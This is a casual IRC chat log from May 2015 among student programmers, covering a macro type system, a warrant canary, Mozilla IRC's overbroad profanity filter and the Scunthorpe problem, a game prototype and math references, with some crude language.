[2015-05-04T15:41:12-0400] <JacobEdelman> just not worth it
[2015-05-04T15:41:15-0400] <+awe> Go ahead and do it then.
[2015-05-04T15:41:18-0400] <JacobEdelman> and type inference would be difficult
[2015-05-04T15:41:20-0400] <+awe> If it's so simple, do it.
[2015-05-04T15:41:32-0400] <JacobEdelman> before I set out on a long trial to do this
[2015-05-04T15:41:46-0400] <JacobEdelman> and then have you say i didn't do what you thought I was doing
[2015-05-04T15:41:53-0400] <JacobEdelman> what is it exactly you would like me to do?
[2015-05-04T15:42:10-0400] <+awe> To anyone else reading it, it's not simple and my research advisor attempted something similar in Lisp as a graduate student.
[2015-05-04T15:42:34-0400] <JacobEdelman> clearly your research advisor is a ninny
[2015-05-04T15:42:35-0400] <JacobEdelman> :P
[2015-05-04T15:42:56-0400] • JacobEdelman: ego is too big
[2015-05-04T15:43:01-0400] <JacobEdelman> *JacobEdelman's
[2015-05-04T15:43:03-0400] <+awe> Or it's actually nontrivial and you just haven't run into any problems because you haven't actually _tried_ it.
[2015-05-04T15:43:12-0400] <JacobEdelman> nah
[2015-05-04T15:43:15-0400] <JacobEdelman> well, doing it fast
[2015-05-04T15:43:22-0400] <JacobEdelman> thats a whole different ball game
[2015-05-04T15:43:28-0400] <JacobEdelman> although doing it fast in lisp is different
[2015-05-04T15:43:36-0400] <JacobEdelman> what was it your advisor tried exactly?
[2015-05-04T15:43:42-0400] <JacobEdelman> I can haz code/paper?
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[2015-05-04T15:44:22-0400] <JacobEdelman> on noes! two Coasts!
[2015-05-04T15:44:27-0400] <JacobEdelman> we are all going to die!
[2015-05-04T15:44:36-0400] <JacobEdelman> they are multiplying out of control!!
[2015-05-04T15:44:44-0400] <+awe> He didn't show me a paper about it. He just talked to me about it.
[2015-05-04T15:44:54-0400] <JacobEdelman> can you find it?
[2015-05-04T15:44:58-0400] <JacobEdelman> whats his name?
[2015-05-04T15:44:59-0400] <JacobEdelman> github?
[2015-05-04T15:45:08-0400] <JacobEdelman> address?
[2015-05-04T15:45:09-0400] <JacobEdelman> email?
[2015-05-04T15:45:11-0400] <+awe> https://github.com/arjunguha
[2015-05-04T15:45:14-0400] <JacobEdelman> social security number?
[2015-05-04T15:45:17-0400] <JacobEdelman> underpant color?
[2015-05-04T15:45:23-0400] <JacobEdelman> prefered hotdog condiment?
[2015-05-04T15:45:26-0400] <+awe> For the record, this would've predated GitHub.
[2015-05-04T15:45:32-0400] <+awe> Probably, anyway.
[2015-05-04T15:45:33-0400] <JacobEdelman> thats a lie
[2015-05-04T15:45:37-0400] <JacobEdelman> nothing predates github
[2015-05-04T15:45:44-0400] <JacobEdelman> the universe started with github
[2015-05-04T15:45:45-0400] <+awe> It would've at least predated github's popularity.
[2015-05-04T15:46:12-0400] <JacobEdelman> ouch, that images jpeg compression is way too much
[2015-05-04T15:46:54-0400] <+awe> Indeed.
[2015-05-04T15:47:03-0400] <JacobEdelman> awe: is this your thing? https://github.com/plasma-umass/scala-puppet
[2015-05-04T15:47:11-0400] <+awe> That's part of our thing.
[2015-05-04T15:47:14-0400] <JacobEdelman> also, no can find macro
[2015-05-04T15:47:18-0400] <JacobEdelman> *macro type system
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[2015-05-04T15:47:39-0400] <+awe> I don't know if he actually wrote a paper on it.
[2015-05-04T15:47:50-0400] <JacobEdelman> awe: are you going to be added to the students he works with?
[2015-05-04T15:47:50-0400] <JacobEdelman> http://people.cs.umass.edu/~arjun/home/
[2015-05-04T15:48:03-0400] <+awe> I'm not a graduate student.
[2015-05-04T15:48:04-0400] <+awe> So, probably not.
[2015-05-04T15:48:35-0400] <JacobEdelman> ah, okay
[2015-05-04T15:48:46-0400] <+awe> My name will be on papers though.
[2015-05-04T15:49:25-0400] <+awe> But yeah, scala-puppet is a parser for Puppet that converts manifests into a directed, acyclic resource graph.
[2015-05-04T15:49:37-0400] <+awe> It's not the interesting part.
[2015-05-04T15:49:46-0400] <JacobEdelman> okay
[2015-05-04T15:50:00-0400] <+awe> http://cs.brown.edu/~sk/Publications/Papers/Published/sk-automata-macros/paper.pdf
[2015-05-04T15:50:01-0400] <JacobEdelman> cookie time!
[2015-05-04T15:50:12-0400] <+awe> This is a paper about automata as macros.
[2015-05-04T15:51:32-0400] <JacobEdelman> okay
[2015-05-04T15:51:40-0400] <JacobEdelman> cookie cooke cookie cookie!
[2015-05-04T15:53:18-0400] <JacobEdelman> all five essential elements of life https://usercontent.irccloud-cdn.com/file/VwpaXNA1/IMG_20150504_155227.jpg
[2015-05-04T15:53:33-0400] <+awe> Computers, cookies, milk, dogs, and snulight?
[2015-05-04T15:53:36-0400] <+awe> sunlight*
[2015-05-04T15:53:45-0400] <+awe> Or is Ezra one of the five essential elements?
[2015-05-04T15:53:50-0400] <JacobEdelman> nah
[2015-05-04T15:53:55-0400] <JacobEdelman> but closer
[2015-05-04T15:54:06-0400] <JacobEdelman> computers, cookies, dogs are all correct
[2015-05-04T15:54:23-0400] <JacobEdelman> (milk has been hypothesised as an important sixth but there is much debate)
[2015-05-04T15:54:41-0400] <+awe> Friendship?
[2015-05-04T15:54:44-0400] <JacobEdelman> no
[2015-05-04T15:54:47-0400] <JacobEdelman> first of all
[2015-05-04T15:54:48-0400] <+awe> Fraternity?
[2015-05-04T15:54:49-0400] <JacobEdelman> computers
[2015-05-04T15:55:00-0400] <JacobEdelman> my computer is seen, and is ezras
[2015-05-04T15:55:02-0400] <JacobEdelman> I mean, duh
[2015-05-04T15:55:06-0400] <JacobEdelman> the other one is JacobEdelman
[2015-05-04T15:55:13-0400] <JacobEdelman> (thats my thumb in the corner :P )
[2015-05-04T15:55:27-0400] <JacobEdelman> *and so is
[2015-05-04T15:55:29-0400] <JacobEdelman> :P
[2015-05-04T15:55:43-0400] <JacobEdelman> hmmm, and the cookies are good
[2015-05-04T15:55:48-0400] <+awe> So, it was computers, computers, cookies, dogs, and JacobEdelman?
[2015-05-04T15:55:48-0400] <JacobEdelman> homemade cookies op
[2015-05-04T15:56:00-0400] <JacobEdelman> yes
[2015-05-04T15:56:04-0400] <JacobEdelman> wait, no
[2015-05-04T15:56:10-0400] <JacobEdelman> you are missing dogs
[2015-05-04T15:56:16-0400] <JacobEdelman> only one computer
[2015-05-04T15:56:23-0400] <+awe> Two dogs, one computers?
[2015-05-04T15:56:29-0400] <JacobEdelman> oh wait
[2015-05-04T15:56:41-0400] <JacobEdelman> oh wait
[2015-05-04T15:56:45-0400] <JacobEdelman> I forgot the 5th one
[2015-05-04T15:56:50-0400] <JacobEdelman> now I remember it
[2015-05-04T15:56:52-0400] <JacobEdelman> Its socks
[2015-05-04T15:56:57-0400] <JacobEdelman> socks are pretty important
[2015-05-04T15:57:22-0400] <+awe> Ah, indeed. I never don't wear socks.
[2015-05-04T15:57:37-0400] <JacobEdelman> well, I didn't say for wearing
[2015-05-04T15:57:43-0400] <JacobEdelman> I frequently go without socks
[2015-05-04T15:57:45-0400] <JacobEdelman> even during school
[2015-05-04T15:58:02-0400] <JacobEdelman> but for the winter they are very important
[2015-05-04T15:58:09-0400] <JacobEdelman> but for the summer I tend to dislike them
[2015-05-04T15:58:44-0400] <JacobEdelman> but they are essential for life
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[2015-05-04T16:15:01-0400] <z3t> "and we have not been subject to any gag order by a FISA court"
[2015-05-04T16:15:11-0400] <z3t> if you were you wouldn't exactly be able to tell us....
[2015-05-04T16:15:22-0400] <+awe> I would remove it.
[2015-05-04T16:15:23-0400] <+awe> >.>
[2015-05-04T16:15:32-0400] <+awe> The whole point of a canary is I can't tell you any of those things.
[2015-05-04T16:15:44-0400] <+awe> Therefore, I tell you that they haven't happened and then don't tell you that they haven't if they have.
[2015-05-04T16:16:54-0400] <z3t> sigh
[2015-05-04T16:17:23-0400] <+awe> What?
[2015-05-04T16:17:32-0400] <z3t> nothing
[2015-05-04T16:17:42-0400] <+awe> I'm confused as to why you sighed.
[2015-05-04T16:19:06-0400] <JacobEdelman> why sigh?
[2015-05-04T16:20:47-0400] <z3t> ignore me for the rest of the day
[2015-05-04T16:21:33-0400] <JacobEdelman> okay
[2015-05-04T16:21:39-0400] <JacobEdelman> so, what I do normally?
[2015-05-04T16:21:40-0400] <JacobEdelman> :P
[2015-05-04T16:23:21-0400] <z3t> fuck it
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[2015-05-04T16:23:50-0400] <+awe> I'm so confused. Does anyone know what's wrong?
[2015-05-04T16:24:29-0400] <kenzierocks> today is wrong
[2015-05-04T16:24:35-0400] <kenzierocks> i don't know why
[2015-05-04T16:24:41-0400] <kenzierocks> but today is wrong
[2015-05-04T16:25:00-0400] <kenzierocks> just accept that it will be strange and continue
[2015-05-04T16:25:46-0400] <JacobEdelman> I think it was unrelated to the warrant cannary
[2015-05-04T16:25:50-0400] <JacobEdelman> and perhaps related to irl
[2015-05-04T16:26:50-0400] <jwoglom> This is AP week IRL, so
[2015-05-04T16:27:01-0400] <jwoglom> I think z3t is taking calc
[2015-05-04T16:27:20-0400] <JacobEdelman> which is tommorow?
[2015-05-04T16:27:26-0400] <JacobEdelman> I pmed him on freenode
[2015-05-04T16:28:18-0400] <jwoglom> Yup
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[2015-05-04T15:55:29-0400] <JacobEdelman> :P
[2015-05-04T15:55:44-0400] <JacobEdelman> hmmm, and the cookies are good
[2015-05-04T15:55:48-0400] <+awe> So, it was computers, computers, cookies, dogs, and JacobEdelman?
[2015-05-04T15:55:49-0400] <JacobEdelman> homemade cookies op
[2015-05-04T15:56:00-0400] <JacobEdelman> yes
[2015-05-04T15:56:05-0400] <JacobEdelman> wait, no
[2015-05-04T15:56:11-0400] <JacobEdelman> you are missing dogs
[2015-05-04T15:56:16-0400] <JacobEdelman> only one computer
[2015-05-04T15:56:24-0400] <+awe> Two dogs, one computers?
[2015-05-04T15:56:30-0400] <JacobEdelman> oh wait
[2015-05-04T15:56:42-0400] <JacobEdelman> oh wait
[2015-05-04T15:56:45-0400] <JacobEdelman> I forgot the 5th one
[2015-05-04T15:56:50-0400] <JacobEdelman> now I remember it
[2015-05-04T15:56:53-0400] <JacobEdelman> Its socks
[2015-05-04T15:56:57-0400] <JacobEdelman> socks are pretty important
[2015-05-04T15:57:23-0400] <+awe> Ah, indeed. I never don't wear socks.
[2015-05-04T15:57:38-0400] <JacobEdelman> well, I didn't say for wearing
[2015-05-04T15:57:43-0400] <JacobEdelman> I frequently go without socks
[2015-05-04T15:57:46-0400] <JacobEdelman> even during school
[2015-05-04T15:58:02-0400] <JacobEdelman> but for the winter they are very important
[2015-05-04T15:58:09-0400] <JacobEdelman> but for the summer I tend to dislike them
[2015-05-04T15:58:45-0400] <JacobEdelman> but they are essential for life
[2015-05-04T16:15:02-0400] <z3t> "and we have not been subject to any gag order by a FISA court"
[2015-05-04T16:15:11-0400] <z3t> if you were you wouldn't exactly be able to tell us....
[2015-05-04T16:15:23-0400] <+awe> I would remove it.
[2015-05-04T16:15:24-0400] <+awe> >.>
[2015-05-04T16:15:32-0400] <+awe> The whole point of a canary is I can't tell you any of those things.
[2015-05-04T16:15:45-0400] <+awe> Therefore, I tell you that they haven't happened and then don't tell you that they haven't if they have.
[2015-05-04T16:16:55-0400] <z3t> sigh
[2015-05-04T16:17:23-0400] <+awe> What?
[2015-05-04T16:17:33-0400] <z3t> nothing
[2015-05-04T16:17:42-0400] <+awe> I'm confused as to why you sighed.
[2015-05-04T16:19:06-0400] <JacobEdelman> why sigh?
[2015-05-04T16:20:48-0400] <z3t> ignore me for the rest of the day
[2015-05-04T16:21:33-0400] <JacobEdelman> okay
[2015-05-04T16:21:39-0400] <JacobEdelman> so, what I do normally?
[2015-05-04T16:21:41-0400] <JacobEdelman> :P
[2015-05-04T16:23:21-0400] <z3t> fuck it
[2015-05-04T16:23:50-0400] <+awe> I'm so confused. Does anyone know what's wrong?
[2015-05-04T16:24:30-0400] <kenzierocks> today is wrong
[2015-05-04T16:24:35-0400] <kenzierocks> i don't know why
[2015-05-04T16:24:42-0400] <kenzierocks> but today is wrong
[2015-05-04T16:25:00-0400] <kenzierocks> just accept that it will be strange and continue
[2015-05-04T16:25:46-0400] <JacobEdelman> I think it was unrelated to the warrant cannary
[2015-05-04T16:25:50-0400] <JacobEdelman> and perhaps related to irl
[2015-05-04T16:26:50-0400] <jwoglom> This is AP week IRL, so
[2015-05-04T16:27:01-0400] <jwoglom> I think z3t is taking calc
[2015-05-04T16:27:21-0400] <JacobEdelman> which is tommorow?
[2015-05-04T16:27:26-0400] <JacobEdelman> I pmed him on freenode
[2015-05-04T16:28:19-0400] <jwoglom> Yup
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[2015-05-04T17:02:22-0400] <+awe> Wow, so, get this. There's a specific swear word that will get you immediately g-lined on Mozilla's IRC.
[2015-05-04T17:02:49-0400] <JacobEdelman> g-lined?
[2015-05-04T17:04:54-0400] <+awe> Perma-banned by IP.
[2015-05-04T17:05:08-0400] <bob_twinkles> pretty sure you have to tell us what it is now
[2015-05-04T17:05:27-0400] <+awe> "A G-line or global kill line (also written G:line) is a global network ban applied to a user"
[2015-05-04T17:05:44-0400] <+awe> It's a particularly derogatory term for vagina.
[2015-05-04T17:07:04-0400] <JacobEdelman> ah, okay
[2015-05-04T17:07:16-0400] <JacobEdelman> not overly surprising that it would do so
[2015-05-04T17:07:30-0400] <JacobEdelman> now, if it was something like "potato" then I would be surprised
[2015-05-04T17:07:35-0400] <JacobEdelman> okay, now I have to do this
[2015-05-04T17:07:39-0400] <JacobEdelman> I will choose one common word
[2015-05-04T17:07:56-0400] <JacobEdelman> and make a bot to ban anyone who says it on #hsctf
[2015-05-04T17:08:20-0400] <bob_twinkles> we had a bot in #tjctf that would ban anyone who said a flag
[2015-05-04T17:08:30-0400] <bob_twinkles> ... one of the flags was "ayy lmao"
[2015-05-04T17:08:34-0400] <+awe> ayyyyy lmao.
[2015-05-04T17:08:45-0400] <JacobEdelman> lol
[2015-05-04T17:08:51-0400] <jwoglom> really? :P
[2015-05-04T17:08:55-0400] <+awe> bob_twinkles: that'd be interesting to brute force.
[2015-05-04T17:08:55-0400] <bob_twinkles> (that one got removed from the config before the competition started because we thought about it for 20 seconds)
[2015-05-04T17:08:56-0400] <jwoglom> because i'm pretty sure fox would have triggered that
[2015-05-04T17:09:06-0400] <bob_twinkles> he would have yeah
[2015-05-04T17:09:06-0400] <JacobEdelman> ah, good
[2015-05-04T17:09:10-0400] <+awe> bob_twinkles: you just run a bot that says things until it gets banned.
[2015-05-04T17:09:11-0400] <bob_twinkles> only one to say it the whole time
[2015-05-04T17:09:28-0400] <JacobEdelman> awe: well, if the flags are long enough...
[2015-05-04T17:09:47-0400] <bob_twinkles> it was only in the main channel + all the flags were like 1337-speak phrases with underscores
[2015-05-04T17:10:11-0400] <bob_twinkles> nontrivial to bruteforce, especially given the fact that we had active people with chanserv +o pretty much 24/7
[2015-05-04T17:10:17-0400] <bob_twinkles> well, 24/4 but still
[2015-05-04T17:10:44-0400] <+awe> Fair enough.
[2015-05-04T17:11:07-0400] <bob_twinkles> would have been interesting to handle though =P
[2015-05-04T17:13:58-0400] <+awe> So far, people have gotten the Rust interpreter bot banned as well as the public IRC log bot banned.
[2015-05-04T17:15:45-0400] <bob_twinkles> is it a network-wide automatic filter, or just an automod bot in one of the larger channels?
[2015-05-04T17:16:37-0400] <jwoglom> awe: maybe you should, uh, specialcase the "bad" words?
[2015-05-04T17:16:49-0400] <+awe> bob_twinkles: g-line.
[2015-05-04T17:16:51-0400] <+awe> bob_twinkles: it's network-wide.
[2015-05-04T17:16:56-0400] <bob_twinkles> right, the ban is
[2015-05-04T17:17:02-0400] <+awe> It's handled by the server.
[2015-05-04T17:17:11-0400] <jwoglom> also, if you pm'd some ops they would probably reverse it if it was just a bot doing as it was told
[2015-05-04T17:17:15-0400] <jwoglom> (i would hope)
[2015-05-04T17:17:24-0400] <+awe> jwoglom: probably, but it's an interesting problem.
[2015-05-04T17:17:29-0400] <jwoglom> yeah
[2015-05-04T17:17:52-0400] <bob_twinkles> it's enforced by a network-wide ban, but that doesn't mean the filter is network wide
[2015-05-04T17:19:22-0400] <bob_twinkles> like, what if I PMed you $WORD
[2015-05-04T17:26:56-0400] <+awe> bob_twinkles: g-line.
[2015-05-04T17:27:55-0400] <bob_twinkles> g-lines are specified per-IP, not by filtering user messages...
[2015-05-04T17:28:18-0400] <+awe> No, I'm saying you'd get g-lined if you PM'd it.
[2015-05-04T17:28:29-0400] <+awe> It's a complete network-wide filter.
[2015-05-04T17:28:39-0400] <bob_twinkles> that's... weird
[2015-05-04T17:28:41-0400] <bob_twinkles> source?
[2015-05-04T17:28:47-0400] <+awe> People testing it?
[2015-05-04T17:29:01-0400] <+awe> The messages also don't get delivered.
[2015-05-04T17:29:07-0400] <+awe> Because it's on the server, not a bot.
[2015-05-04T17:29:15-0400] <bob_twinkles> that seems quite extreme
[2015-05-04T17:29:21-0400] <+awe> Which is good because otherwise a CTCP ping with that as the time stamp would be... a problem.
[2015-05-04T17:29:56-0400] <bob_twinkles> I honestly can't think of a word that's so universally offensive that it merits a network-wide serverside filter that comprehensive
[2015-05-04T17:30:32-0400] • awe: shrugs.
[2015-05-04T17:30:38-0400] <+awe> I mean, it's Mozilla.
[2015-05-04T17:34:40-0400] <+awe> bob_twinkles: worst part? it's a .* regex.
[2015-05-04T17:34:43-0400] <+awe> bob_twinkles: Scunthorpe triggers it.
[2015-05-04T17:35:06-0400] <bob_twinkles> 10 10 mozilla
[2015-05-04T17:35:15-0400] <bob_twinkles> I take it people kept getting glined for pinging him?
[2015-05-04T17:36:15-0400] <+awe> Naturally.
[2015-05-04T17:37:01-0400] <bob_twinkles> wow
[2015-05-04T17:37:24-0400] <+awe> People actually changed their names to Scunthorpe and mercuntope to get people banned when they pinged them.
[2015-05-04T17:37:50-0400] <bob_twinkles> lol, I take it this policy has been revised?
[2015-05-04T17:37:55-0400] <JacobEdelman> ctmq
[2015-05-04T17:38:15-0400] <+awe> It's about to be.
[2015-05-04T17:39:29-0400] <bob_twinkles> oh, good
[2015-05-04T17:39:39-0400] <+awe> Well, presumably.
[2015-05-04T17:40:02-0400] <bob_twinkles> hopefully they at least improve the regex so it doesn't gline random people
[2015-05-04T17:40:10-0400] <+awe> Yeah, hopefully.
[2015-05-04T17:40:45-0400] <+awe> For now, they banned any name containing it in #rust so that people can't get people banned.
[2015-05-04T17:41:38-0400] <bob_twinkles> that's not really a solution...
[2015-05-04T17:41:51-0400] <+awe> It prevents people from having it as a name and therefore getting people to accidentally ping it.
[2015-05-04T17:42:01-0400] <+awe> It's temporary until an ircop comes on and the problem can be resolved for real.
[2015-05-04T17:42:32-0400] <bob_twinkles> eh, fair enough. if they explain the thought process behind implementing that in the first place I'd love to hear it though
[2015-05-04T17:46:10-0400] <+awe> Yeah, I'll let you know.
[2015-05-04T17:46:23-0400] <bob_twinkles> thanks =P
[2015-05-04T17:47:28-0400] <+awe> I'm similarly curious though. It's a very weird thing to have.
[2015-05-04T17:48:33-0400] <bob_twinkles> probably someone got *really* mad but like... that's gotta be a patch to the IRCD to implement so effectively
[2015-05-04T17:49:02-0400] <JacobEdelman> I think the really solution
[2015-05-04T17:49:13-0400] <JacobEdelman> should be to monitor all traffic
[2015-05-04T17:49:30-0400] <JacobEdelman> and stop communicating with any ip who's traffic includes the word
[2015-05-04T17:49:36-0400] <JacobEdelman> none of this irc stuff
[2015-05-04T17:49:39-0400] <JacobEdelman> plain and simple
[2015-05-04T17:55:02-0400] <bob_twinkles> maybe that's why the NSA was patching all those Cisco switches
[2015-05-04T17:55:16-0400] <bob_twinkles> so they could remove the word "cunt" from the internet
[2015-05-04T18:00:30-0400] <+awe> That's obviously the real reason.
[2015-05-04T18:01:49-0400] <JacobEdelman> lol
[2015-05-04T18:10:46-0400] <+awe> Former HP CEO Carly Fiorina announced she's running for the Republican nomination today.
[2015-05-04T18:10:51-0400] <+awe> Here's a website someone bought: http://carlyfiorina.org
[2015-05-04T18:25:54-0400] <JacobEdelman> http://carlyfiorina.org/bonus-page.html
[2015-05-04T18:26:19-0400] <fwilson> that's excellent
[2015-05-04T18:27:05-0400] <bob_twinkles> {lenny}
[2015-05-04T19:06:24-0400] <Hyper> lol
[2015-05-04T19:06:30-0400] <Hyper> that's funny, but awful
[2015-05-04T19:06:42-0400] <Hyper> the best kind of funny?
[2015-05-04T19:11:31-0400] <JacobEdelman> Lol
[2015-05-04T19:11:40-0400] <JacobEdelman> *ctmq
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[2015-05-04T21:21:29-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=XSNvvNDjHEE
[2015-05-04T22:29:25-0400] <+awe> Hi, z3t. Are you feeling better now?
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[2015-05-04T17:29:07-0400] <+awe> Because it's on the server, not a bot.
[2015-05-04T17:29:15-0400] <bob_twinkles> that seems quite extreme
[2015-05-04T17:29:21-0400] <+awe> Which is good because otherwise a CTCP ping with that as the time stamp would be... a problem.
[2015-05-04T17:29:56-0400] <bob_twinkles> I honestly can't think of a word that's so universally offensive that it merits a network-wide serverside filter that comprehensive
[2015-05-04T17:30:33-0400] • awe: shrugs.
[2015-05-04T17:30:38-0400] <+awe> I mean, it's Mozilla.
[2015-05-04T17:34:40-0400] <+awe> bob_twinkles: worst part? it's a .* regex.
[2015-05-04T17:34:43-0400] <+awe> bob_twinkles: Scunthorpe triggers it.
[2015-05-04T17:35:06-0400] <bob_twinkles> 10 10 mozilla
[2015-05-04T17:35:15-0400] <bob_twinkles> I take it people kept getting glined for pinging him?
[2015-05-04T17:36:15-0400] <+awe> Naturally.
[2015-05-04T17:37:01-0400] <bob_twinkles> wow
[2015-05-04T17:37:24-0400] <+awe> People actually changed their names to Scunthorpe and mercuntope to get people banned when they pinged them.
[2015-05-04T17:37:50-0400] <bob_twinkles> lol, I take it this policy has been revised?
[2015-05-04T17:37:55-0400] <JacobEdelman> ctmq
[2015-05-04T17:38:15-0400] <+awe> It's about to be.
[2015-05-04T17:39:29-0400] <bob_twinkles> oh, good
[2015-05-04T17:39:39-0400] <+awe> Well, presumably.
[2015-05-04T17:40:02-0400] <bob_twinkles> hopefully they at least improve the regex so it doesn't gline random people
[2015-05-04T17:40:10-0400] <+awe> Yeah, hopefully.
[2015-05-04T17:40:45-0400] <+awe> For now, they banned any name containing it in #rust so that people can't get people banned.
[2015-05-04T17:41:38-0400] <bob_twinkles> that's not really a solution...
[2015-05-04T17:41:51-0400] <+awe> It prevents people from having it as a name and therefore getting people to accidentally ping it.
[2015-05-04T17:42:01-0400] <+awe> It's temporary until an ircop comes on and the problem can be resolved for real.
[2015-05-04T17:42:32-0400] <bob_twinkles> eh, fair enough. if they explain the thought process behind implementing that in the first place I'd love to hear it though
[2015-05-04T17:46:10-0400] <+awe> Yeah, I'll let you know.
[2015-05-04T17:46:23-0400] <bob_twinkles> thanks =P
[2015-05-04T17:47:28-0400] <+awe> I'm similarly curious though. It's a very weird thing to have.
[2015-05-04T17:48:33-0400] <bob_twinkles> probably someone got *really* mad but like... that's gotta be a patch to the IRCD to implement so effectively
[2015-05-04T17:49:02-0400] <JacobEdelman> I think the really solution
[2015-05-04T17:49:13-0400] <JacobEdelman> should be to monitor all traffic
[2015-05-04T17:49:30-0400] <JacobEdelman> and stop communicating with any ip who's traffic includes the word
[2015-05-04T17:49:36-0400] <JacobEdelman> none of this irc stuff
[2015-05-04T17:49:38-0400] <JacobEdelman> plain and simple
[2015-05-04T17:55:02-0400] <bob_twinkles> maybe that's why the NSA was patching all those Cisco switches
[2015-05-04T17:55:16-0400] <bob_twinkles> so they could remove the word "cunt" from the internet
[2015-05-04T18:00:30-0400] <+awe> That's obviously the real reason.
[2015-05-04T18:01:49-0400] <JacobEdelman> lol
[2015-05-04T18:10:46-0400] <+awe> Former HP CEO Carly Fiorina announced she's running for the Republican nomination today.
[2015-05-04T18:10:51-0400] <+awe> Here's a website someone bought: http://carlyfiorina.org
[2015-05-04T18:25:54-0400] <JacobEdelman> http://carlyfiorina.org/bonus-page.html
[2015-05-04T18:26:19-0400] <fwilson> that's excellent
[2015-05-04T18:27:05-0400] <bob_twinkles> {lenny}
[2015-05-04T19:06:24-0400] <Hyper> lol
[2015-05-04T19:06:30-0400] <Hyper> that's funny, but awful
[2015-05-04T19:06:42-0400] <Hyper> the best kind of funny?
[2015-05-04T19:11:31-0400] <JacobEdelman> Lol
[2015-05-04T19:11:40-0400] <JacobEdelman> *ctmq
[2015-05-04T21:21:29-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=XSNvvNDjHEE
[2015-05-04T22:29:25-0400] <+awe> Hi, z3t. Are you feeling better now?
[2015-05-04T22:56:44-0400] Mode is +nrt
[2015-05-04T22:59:22-0400] <LittleBobbyTables> Of course not
[2015-05-04T23:08:21-0400] <+awe> Hyper: your game wasn't good enough to keep my girlfriend's attention for more than thirty seconds.
[2015-05-04T23:08:42-0400] <Hyper> awe: ok
[2015-05-04T23:08:48-0400] <Hyper> am I supposed to be sad?
[2015-05-04T23:08:50-0400] <+awe> I tried.
[2015-05-04T23:08:51-0400] <Tamini_> ooh, a game?
[2015-05-04T23:08:52-0400] <+awe> It seemed interesting.
[2015-05-04T23:08:55-0400] <LittleBobbyTables> I want a game
[2015-05-04T23:08:57-0400] <Hyper> do you expect me to pity you?
[2015-05-04T23:09:02-0400] <LittleBobbyTables> awe, buy me a game
[2015-05-04T23:09:03-0400] <Hyper> DO YOU WANT MERCY?
[2015-05-04T23:09:05-0400] <+awe> Tamini_: It's two player on one computer.
[2015-05-04T23:09:12-0400] <+awe> Tamini_: so, you need friends.
[2015-05-04T23:09:22-0400] <Hyper> lol
[2015-05-04T23:09:24-0400] <alokpathy> What's a friend?
[2015-05-04T23:09:29-0400] <jwoglom> can't you be your own friend
[2015-05-04T23:09:31-0400] <Hyper> yeah it was a prototype in a week for a class
[2015-05-04T23:09:42-0400] <Hyper> I wasn't sure it'd be too much fun lol
[2015-05-04T23:09:53-0400] <jwoglom> what does the game do though
[2015-05-04T23:09:58-0400] <+awe> The game mechanics make no sense.
[2015-05-04T23:10:00-0400] <Hyper> it's not very fun on its own, but if you're playing with a loud friend it can be funny
[2015-05-04T23:10:00-0400] <Tamini_> wait can we play it during lunch
[2015-05-04T23:10:05-0400] <Hyper> awe: whatchu talking about
[2015-05-04T23:10:09-0400] <Tamini_> and lol IM A LOUD FRIEND :O
[2015-05-04T23:10:09-0400] <Hyper> it's literally gravity
[2015-05-04T23:10:14-0400] <jwoglom> how'd you write it?
[2015-05-04T23:10:14-0400] <+awe> The gravity stays on you though.
[2015-05-04T23:10:20-0400] <+awe> Even when you're out of the gravitational field.
[2015-05-04T23:10:24-0400] <Hyper> well of course
[2015-05-04T23:10:31-0400] <Hyper> gravity ain't gonna give you up
[2015-05-04T23:10:36-0400] <Hyper> it ain't gonna let you down
[2015-05-04T23:10:38-0400] <ubuntor> ...
[2015-05-04T23:10:39-0400] <+awe> And acting against the force doesn't decrease it.
[2015-05-04T23:10:43-0400] <jwoglom> never gonna run around and desert you
[2015-05-04T23:10:54-0400] <ubuntor> never gonna tell a lie
[2015-05-04T23:11:01-0400] <jwoglom> never gonna say goodbye!
[2015-05-04T23:11:02-0400] <Hyper> yeah, it was way to difficult to win when I had it doing that
[2015-05-04T23:11:20-0400] <+awe> I was expecting the game to be about trying to get the person to orbit around you and shoot them out of the field.
[2015-05-04T23:11:26-0400] <Hyper> it kinda is
[2015-05-04T23:11:28-0400] <+awe> But in practice it's just about opening the field first.
[2015-05-04T23:11:35-0400] <LittleBobbyTables> You guys sung that in the wrong order...
[2015-05-04T23:11:47-0400] <ubuntor> darn, memory is hard
[2015-05-04T23:11:48-0400] <Hyper> naw you can do some clever things with orbiting to keep your field neutral
[2015-05-04T23:12:05-0400] <Hyper> but overall I agree that is isn
[2015-05-04T23:12:08-0400] <LittleBobbyTables> Never gonna say good buy is first
[2015-05-04T23:12:11-0400] <Hyper> isn't that fun
[2015-05-04T23:12:12-0400] <LittleBobbyTables> Yes, it's good buy.
[2015-05-04T23:12:16-0400] <LittleBobbyTables> True facts with LBT
[2015-05-04T23:12:24-0400] <Hyper> but that's why I only spent a week on it ;)
[2015-05-04T23:12:30-0400] <LittleBobbyTables> He's a stingy motherfucker
[2015-05-04T23:12:34-0400] <+awe> LittleBobbyTables: lol, "I'm never going to tell you that you made a good purchase because I know you're a lousy spender and buy useless garbage."
[2015-05-04T23:12:48-0400] <LittleBobbyTables> Yep
[2015-05-04T23:24:27-0400] <+awe> Let the record show, Wikipedia is a horrible place to look for information about Math.
[2015-05-04T23:24:44-0400] <+awe> Every article on anything even remotely complex is written from the perspective of the highest level of mathematics.
[2015-05-04T23:27:27-0400] <nezorg> huh
[2015-05-04T23:27:36-0400] <nezorg> i love wiki as a math reference
[2015-05-04T23:28:02-0400] <+awe> It's *interesting*.
[2015-05-04T23:28:07-0400] <+awe> It's just often really complex.
[2015-05-04T23:28:24-0400] <nezorg> you just have to have a wide but shallow background of knowledge
[2015-05-04T23:28:37-0400] <nezorg> which is not what they teach in high school
[2015-05-04T23:28:50-0400] <+awe> Therefore, it is not readily useful to the average person who attends high school.
[2015-05-04T23:29:22-0400] <+awe> On the other hand, simple english Wikipedia is the best thing for math assuming there's an article about it.
[2015-05-04T23:30:12-0400] <+awe> Like this: http://simple.wikipedia.org/wiki/Eigenvalues_and_eigenvectors
[2015-05-04T23:37:04-0400] <jwoglom> yeah, i agree awe
[2015-05-04T23:37:20-0400] <jwoglom> if you're trying to look up info on some relatively simple math topic
[2015-05-04T23:37:25-0400] <jwoglom> it's always too complicated
[2015-05-04T23:39:19-0400] <Tamini> but the main issue is
[2015-05-04T23:39:28-0400] <Tamini> its really hard to explain math without assuming base knowledge
[2015-05-04T23:39:28-0400] <Tamini> >_>
[2015-05-04T23:41:17-0400] <ubuntor> http://www.smbc-comics.com/?id=3278
[2015-05-04T23:45:25-0400] <Hyper> Tamini: all you have to do is explain it in terms of set theory.
